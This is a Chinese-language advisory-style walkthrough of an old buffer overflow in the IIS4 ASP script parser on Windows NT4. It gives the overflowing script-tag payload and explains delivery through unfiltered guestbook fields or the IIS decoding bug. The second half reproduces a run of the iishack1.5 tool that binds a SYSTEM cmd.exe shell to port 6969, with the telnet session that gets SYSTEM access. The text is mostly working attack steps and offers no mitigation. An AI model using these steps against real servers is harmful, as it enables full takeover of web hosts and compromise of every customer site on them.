在iis (internet information server) asp isapi文件解析机制中存在缓冲区溢出,它可以被用来获得system级的访问。
这是本地漏洞,入侵者只需要创建一个.asp文件作为牺牲品。当iis解析它的时候导致inetinfo.exe缓冲区溢出,从而允许入侵者以system权限控制本地服务器。
那么,受此影响的将是任何运行多个客户nt4 iis4 web服务器的网络公司或internet服务供应商。主要说来,任何可以更新网站的客户(或攻击者)上传一个新的default.asp或anything.asp,都可以执行system执行代码来完全控制目标服务器。入侵者可以对那台服务器的其他任何客户站点做任何事情,同时他们还可以安装sniffer或破解口令以扩大他们在网络中的战果。
只要在网络主机公司购买一个账号,入侵者上传evil.asp并用ie从自己的网站请求这个evil.asp,http://www.badguy.com/evil.asp,并且在那台服务器上以system执行他的代码。
这里是一个.asp文件导致nt4+iis4的inetinfo.exe溢出的例子:
----start-cut-of-example.asp----
<script language="[buffer]" runat="server">
</script>
----start-cut-of-example.asp----
注意:
[buffer]是2220 字母或更多。
这个溢出可以利用,看下面的部分:
例如:
服务器有个写入时不过滤script命令的.asp来客登记/留言板系统系统。因此入侵者可以进入拥有【在此输入你的信息:】文本框的页面(或者更多),他们只需要粘贴这些溢出代码并提交信息(内含溢出信息),就会导致iis解析这个.asp文件时溢出,并执行他们的 代码。
另外,入侵者可以将这个攻击技术与最近的iis解码漏洞结合起来,使用cmd.exe echo自己的evil.asp内容到远程系统,然后当入侵者请求evil.asp时,入侵者的代码将被以system权限执行。事实上,他们已经构造了一个漏洞实例来表明这个.asp语言溢出,并且可以一起使用iis解码漏洞,危及任何没有及时安装补丁程序的windows nt 4.0服务器。
由于这个攻击悄无声息,所以很有可能防火墙不能抵御类似的攻击。
漏洞:
如何远程攻击系统呢?可以使用iis解码漏洞+.asp语言溢出漏洞。
如果不熟悉iis解码漏洞,最起码它允许透过iis以iusr_machine的权限远程执行命令。因为入侵者可以通过cmd.exe执行命令,他们可以试着让远程主机连接到外部的ftp服务器获取文件(似乎优先考虑iishack),但只能以iusr_machine的权限执行命令。这个漏洞通过使用iis解码漏洞工作,echo他们的.asp文件(以shell代码结束,绑定cmd.exe到一个端口至一个远程服务器,并请求访问这个文件,然后导致inetinfo.exe溢出,将一个system级特权cmd.exe绑定到一个特殊端口)。在很多情况下入侵者应该拥有恰当的cmd.exe的访问控制(这将不允许iusr_machine访问)就像其他的安全措施一样,因此他们应该知道这个漏洞在一个安全的系统里是不会工作的。然而,这仅仅是从理论上讲的,大多数iis服务器并没有恰当的本地安全措施。该漏洞的利用具体如下:
c:\we are still hiring good programmers> iishack1.5.exe
iishack version 1.5
eeye digital security
http://www.eeye.com
code by: ryan permeh & marc maiffret
eeye digital security takes no responsibility for use of this code.
it is for educational purposes only.
usage: iishack1.5 [server] [server-port] [trojan-port]
c:\send resume to hire@eeye.com> iishack1.5.exe www.[yourowncompany].com 80 6969
iishack version 1.5
eeye digital security
http://www.eeye.com
code by: ryan permeh & marc maiffret
eeye digital security takes no responsibility for use of this code.
it is for educational purposes only.
attempting to find an executable directory...
trying directory [scripts]
executable directory found. [scripts]
path to executable directory is [c:\inetpub\scripts]
moving cmd.exe from winnt\system32 to c:\inetpub\scripts.
successfully moved cmd.exe to c:\inetpub\scripts\eeyehack.exe
sending the exploit...
exploit sent! now telnet to www.[yourowncompany].com on port 6969 and you
should get a cmd prompt.
c:\> telnet www.[yourowncompany].com 6969
trying www.[yourowncompany].com...
microsoft(r) windows nt(tm)
(c) copyright 1985-1996 microsoft corp.
c:\winnt\system32>whoami
nt authority\system